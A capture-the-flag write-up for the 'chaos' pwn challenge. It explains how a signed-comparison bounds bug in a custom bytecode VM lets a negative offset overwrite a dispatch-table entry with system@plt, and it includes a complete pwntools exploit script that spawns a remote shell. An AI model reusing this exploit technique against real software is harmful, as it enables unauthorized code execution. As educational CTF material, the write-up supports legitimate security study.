Chaos - PWN (First Blood)

Points: 100 | Category: call4pwn | Difficulty: Easy | Solves: 8 | Flag: 0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3} | Solved by: Smothy @ 0xN1umb

first blood on this one lets gooo

what we got

a stripped 64-bit ELF binary called chaos and a Dockerfile. the description says "nah nah, this is not another 67 challenge, is more easier" and "You have suffered enough" lmao

lets see what we're working with.

step 0: basic recon (what every pwn challenge starts with)

before we touch anything, we need to understand what kind of binary we're dealing with. two commands you should ALWAYS run first on any pwn challenge.

file - what kind of binary is this?

breaking this down for beginners:

• ELF = Executable and Linkable Format. this is the standard binary format on Linux (like .exe on Windows)
• 64-bit = uses 64-bit addresses and registers. this matters because pointers are 8 bytes, not 4
• LSB = Little-endian. bytes are stored in reverse order in memory
• dynamically linked = the binary uses shared libraries (like libc) loaded at runtime
• stripped = debug symbols removed. function names are gone, making reverse engineering harder

what is little-endian?

this confuses EVERY beginner so lets clear it up. on x86 systems, multi-byte values are stored with the least significant byte first:

(source: CS 161 Textbook)

so the value 0x44434241 is stored in memory as bytes 41 42 43 44. this means when we put the string "sh" (0x6873) into a register, the bytes in memory will be 73 68 00 ... which is correct ASCII for "sh". little-endian actually helps us here.

checksec - what security protections are enabled?

this is CRITICAL. understanding protections tells you what attacks are possible and what's blocked. let me explain every single one:

Full RELRO (Relocation Read-Only)

• what it is: after the program starts, the GOT (Global Offset Table) becomes read-only
• what's the GOT? when your program calls printf(), it doesn't know printf's address until runtime. the GOT is a lookup table that stores these resolved addresses. imagine a phone book - it maps function names to their actual locations in memory
• why it matters: a classic pwn technique is overwriting a GOT entry so when the program calls printf(), it actually calls system() instead. Full RELRO makes the "phone book" read-only after startup, preventing this attack
• for us: we need a DIFFERENT way to redirect execution. can't touch the GOT

No canary (Stack canary / Stack cookie)

• what it is: a random value placed on the stack between your buffer and the return address. think of it like a tripwire - if a buffer overflow happens, the canary value gets overwritten, and the program detects it before returning
• why it matters: without a canary, if we overflow a buffer we can overwrite the return address without being caught
• for us: no canary = if there's a buffer overflow, we can exploit it freely

NX enabled (No-eXecute / DEP)

• what it is: the stack and heap are marked as non-executable. you can store data there, but you can't run it as code
• why it matters: in the old days, you could write machine code (shellcode) directly onto the stack and jump to it. NX prevents this - the CPU refuses to execute anything from these memory regions
• for us: we can't inject shellcode. we need to reuse existing code already in the binary (like the system() function which is already imported)

No PIE (Position-Independent Executable)

• what it is: PIE randomizes where the binary is loaded in memory. without PIE, the binary always loads at the exact same address (0x400000)
• why it matters: this is HUGE. it means every single address in the binary is predictable. system@plt will always be at 0x401090, data will always be at 0x404000, etc. we don't need any leaks
• for us: we can hardcode addresses in our exploit. this makes everything way easier

how memory is organized (important for the exploit)

every running program has its memory organized into sections. this is what it looks like:

(source: CS 161 Textbook)

the key sections:

• Code (text): the actual machine instructions (read-only, executable)
• Data/BSS: global variables, initialized and uninitialized (read-write)
• Heap: dynamically allocated memory, grows upward
• Stack: function calls, local variables, grows downward

here's a more detailed view of a real Linux process:

(source: Anatomy of a Program in Memory)

for our exploit, the important thing is that the data section (where the VM's registers, dispatch table, and bytecode live) is at fixed addresses because there's no PIE.

and here's how the binary sections map to memory:

(source: Anatomy of a Program in Memory)

the .data and .bss sections from the ELF file get loaded into the read-write data area in memory. this is where all of our VM's state lives - and where our exploit will operate.

strings - any interesting text?

why system matters: system() is a libc function that takes a string and executes it as a shell command. system("ls") lists files, system("sh") spawns a shell. if we can call system("sh"), we get full control of the remote machine. and it's already imported into the binary - we just need to call it with our own argument instead of "echo stub".

running the binary

it asks for hex-encoded input. so if we want to send the bytes \x41\x42\x43, we'd type 414243. after input, it says "Executing..." - so it's running our input as some kind of code. time to figure out what kind.

step 1: reversing the VM (understanding the "chaos engine")

threw the binary into IDA Pro (a disassembler) and mapped out the entire program. this thing is a custom bytecode virtual machine.

what's a VM in this context?

if you've never seen one in a CTF, don't panic. imagine you built a tiny fake computer inside your program:

it has:

• its own registers (like variables the CPU uses for calculations)
• its own instruction set (a list of operations it can perform)
• its own memory layout
• its own instruction pointer (tracks which instruction to execute next)

your hex input becomes the "machine code" for this fake CPU. the VM reads your instructions one by one, decodes them, and executes them.

the memory layout

since we have no PIE, every address is fixed and known. here's where everything lives:

what is a dispatch table? (this is key to the exploit)

a dispatch table is an array of function pointers - think of it as a lookup table that maps opcode numbers to the function that handles them.

the critical insight: when the VM executes an instruction, it does:

handler = dispatch_table[opcode];    // read function address
handler(reg[byte1], byte2, byte1);   // call it, rdi = register value

if we overwrite an entry in this table with system()'s address, the VM will call system() instead of the original handler. and since rdi (first argument) gets set to the register value, we can control what string system() receives.

how instructions are encoded (the XOR layer)

each instruction is exactly 3 bytes: [opcode, operand1, operand2]

but every byte is XOR encrypted with a rolling key. so what is XOR?

XOR: the building block of crypto

XOR (exclusive or) outputs 1 when inputs differ, 0 when they're the same:

the magic property: if A XOR B = C, then C XOR B = A. this means XOR with the same key both encrypts AND decrypts:

XOR =

(visual XOR: plaintext XOR key = encrypted gibberish. XOR the gibberish with the same key and you get the plaintext back. source: cryptosmith.com)

the VM starts with key = 0x55. it XORs each byte with this key to decrypt. but the key mutates after every instruction:

• always: key += 0x13 (shift by 19)
• after ADD: key ^= low_byte(result)
• after XOR op: key ^= low_byte(result)
• after WRITE: key += 1

so instruction 1 uses key 0x55, instruction 2 might use 0x68, instruction 3 might use 0x7B, etc. if our encoder's key drifts by even 1 from the real VM, every instruction after that decodes to garbage. our encoder must perfectly simulate the VM state.

the 7 opcodes

after decrypting, the VM computes opcode_byte % 7 to pick the handler:

important limitation: SET can only load values 0-255 into a register. but we need addresses like 0x401090 and 0x4040a0. we'll need to be creative (explained in step 3).

step 2: finding the vulnerability (signed vs unsigned - the classic)

the bug: READ checks both bounds, WRITE only checks one

READ bounds check (SAFE):

offset = regs[source_register];
if (offset < 0 || offset > 0xff7) {    // checks BOTH sides!
    puts("[!] Segfault (Read)");
    running = 0;
    return;
}
// safe to read from (0x4040e0 + offset)

two checks: lower bound AND upper bound. solid.

WRITE bounds check (VULNERABLE):

offset = regs[source_register];
if (offset > 0xfff) {    // only checks upper bound!
    puts("[!] Segfault (Write)");  // and uses SIGNED comparison
    running = 0;
    return;
}
// writes to (0x4040e0 + offset)

the actual assembly:

cmpq $0xfff, offset
jle  ok              ; jump if less-or-equal (SIGNED!)

only ONE check. no lower bound. and it uses jle which is a SIGNED comparison.

why does signed vs unsigned matter? (the CORE vulnerability)

this is the most important concept in this whole challenge, and a real vulnerability class that has caused actual CVEs.

computers store numbers as bits. the SAME bit pattern means different things depending on how you interpret it:

why? signed integers use "two's complement" encoding. the highest bit is the sign bit:

• 0xxx... = positive number
• 1xxx... = negative number

so 0xFFFFFFFFFFFFFF40 has its highest bit set → it's negative when interpreted as signed.

now look at the WRITE bounds check again:

the jle instruction uses signed comparison, so our negative offset passes the check.

but when the CPU computes the actual memory address:

0x404020 is the dispatch table! we can write to it!

the attack plan

step 3: building the exploit (constructing 64-bit values from bytes)

here's the challenge: SET can only load values 0-255 into a register, but we need:

• 0x6873 (the string "sh" in little-endian)
• 0x4040a0 (pointer to the "sh" string)
• 0x401090 (system@plt address)
• 0xFFFFFFFFFFFFFF40 (negative offset -0xC0)

we only have SET (0-255), ADD, and XOR. how do we build big numbers?

trick 1: shift left by repeated doubling

if you add a number to itself, you double it. in binary, doubling = shifting left by 1 bit:

8 doublings = multiply by 256 = shift left by 8 bits. this positions a byte value into the second-lowest byte of the number.

trick 2: build values byte by byte

to construct 0x6873 ("sh" in little-endian):

register r0 is stored in memory at 0x4040a0, so the bytes there become: 73 68 00 00 00 00 00 00 = the string "sh\0". perfect.

to construct 0x4040a0 (pointer to our "sh" string):

to construct 0x401090 (system@plt):

trick 3: building negative numbers with XOR

this is the trickiest part. we need -0xC0 = 0xFFFFFFFFFFFFFF40.

step A: build -1 (0xFFFFFFFFFFFFFFFF, all bits set to 1):

step B: XOR to get the exact value:

why does this work? XOR only flips bits where the mask has 1s. 0xBF = 10111111 flips 6 bits in the last byte, turning 0xFF into 0x40. all other bytes stay 0xFF because the mask is zero there (implicitly, since r5 = 0xBF = 0x00000000000000BF).

the full instruction sequence visualized

step 4: the solve script

the encoder has to simulate the VM's key state perfectly to XOR-encrypt each instruction correctly:

from pwn import *

HALT, SET, ADD, XOR, READ, WRITE, EXEC = 0, 1, 2, 3, 4, 5, 6

def encode(instructions):
    key = 0x55                # VM starts with this key
    regs = [0] * 8            # simulate register state
    bc = b""
    for op, b1, b2 in instructions:
        # encrypt each byte with current key (what the VM will XOR to decode)
        bc += bytes([op ^ key, b1 ^ key, b2 ^ key])
        # simulate what the VM does to track key mutations
        if op == SET:
            regs[b1] = b2
        elif op == ADD:
            regs[b1] = (regs[b1] + regs[b2]) & 0xFFFFFFFFFFFFFFFF
            key = (key ^ (regs[b1] & 0xFF)) & 0xFF     # ADD mutates key
        elif op == XOR:
            regs[b1] = regs[b1] ^ regs[b2]
            key = (key ^ (regs[b1] & 0xFF)) & 0xFF     # XOR mutates key
        elif op == WRITE:
            key = (key + 1) & 0xFF                       # WRITE mutates key
        key = (key + 0x13) & 0xFF  # every instruction advances key by 0x13
    return bc

i = []

# phase 1: "sh" in r0
i += [(SET, 0, 0x73), (SET, 2, 0x68)]
i += [(ADD, 2, 2)] * 8        # shift 0x68 left by 8 → 0x6800
i += [(ADD, 0, 2)]            # r0 = 0x73 + 0x6800 = 0x6873

# phase 2: pointer 0x4040a0 in r1
i += [(SET, 1, 0xa0), (SET, 2, 0x40)]
i += [(ADD, 2, 2)] * 8        # 0x40 → 0x4000
i += [(ADD, 1, 2), (SET, 2, 0x40)]
i += [(ADD, 2, 2)] * 16       # 0x40 → 0x400000
i += [(ADD, 1, 2)]            # r1 = 0xa0 + 0x4000 + 0x400000 = 0x4040a0

# phase 3: system@plt 0x401090 in r3
i += [(SET, 3, 0x90), (SET, 6, 0x10)]
i += [(ADD, 6, 6)] * 8        # 0x10 → 0x1000
i += [(ADD, 3, 6), (ADD, 3, 2)]  # r3 = 0x90 + 0x1000 + 0x400000 = 0x401090

# phase 4: -0xC0 (0xFFFFFFFFFFFFFF40) in r4
i += [(SET, 5, 0xFF), (SET, 4, 0xFF)]
for _ in range(7):
    i += [(ADD, 4, 4)] * 8 + [(ADD, 4, 5)]  # shift and fill each byte with FF
i += [(SET, 5, 0xBF), (XOR, 4, 5)]          # flip bits: -1 → -0xC0

# phase 5: overwrite dispatch table and pop shell
i += [(WRITE, 3, 4), (HALT, 1, 0)]

p = remote("chall.0xfun.org", 23841)
p.recvuntil(b"): ")
p.sendline(encode(i).hex().encode())
p.interactive()

flag

0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3}

key takeaways for beginners

1. always run file and checksec first

protections tell you what's possible. no PIE = fixed addresses. no canary = overflow freely. Full RELRO = find a different target than the GOT.

2. signed vs unsigned is a real vulnerability class

this isn't just a CTF trick. CWE-195 is "Signed to Unsigned Conversion Error" and has caused real CVEs. jle (signed) vs jbe (unsigned) is one bit difference in machine code but completely changes security. always ask: "what happens if this value is negative?"

3. custom VMs are just puzzles to map out

every VM has: registers, opcodes, memory, instruction pointer. find those 4 things and you understand the whole thing. the XOR key is just obfuscation, not a real barrier.

4. function pointer tables are high-value targets

dispatch tables, vtables, callback arrays - whenever you see an array of function pointers, think "can I overwrite one?" if yes, you control execution.

5. build big numbers from small pieces

when limited to 8-bit values, use repeated doubling (=shift left), addition, and XOR to construct any 64-bit value. tedious but always works.

6. reuse intermediate values

we reused r2 = 0x400000 for both the pointer and system@plt. fewer instructions = fits in the limit. always look for values you've already computed.

7. understand the x86-64 calling convention

first argument goes in rdi. when the VM calls dispatch_table[opcode](reg[byte1], ...), rdi gets the register value. by controlling that value, we control system()'s argument.

8. XOR rolling keys are annoying but solvable

simulate the VM in your encoder. update the key exactly as the VM would. if your simulation matches, everything decodes correctly. test locally first.

further reading

if you want to learn more about the concepts in this challenge:

• Nightmare - Signed vs Unsigned exploitation
• CS 161 Textbook - x86 and Memory Safety
• Understanding Binary Protections
• Anatomy of a Program in Memory
• Solving a VM-based CrackMe
• CTF Wiki - Integer Overflow
• XOR Encryption - A Graphic Example
• HackTricks - Integer Overflow

the irony of the flag saying "chatgpt couldn't solve this" while i'm sitting here with first blood... ngl pretty satisfying fr

smothy out ✌️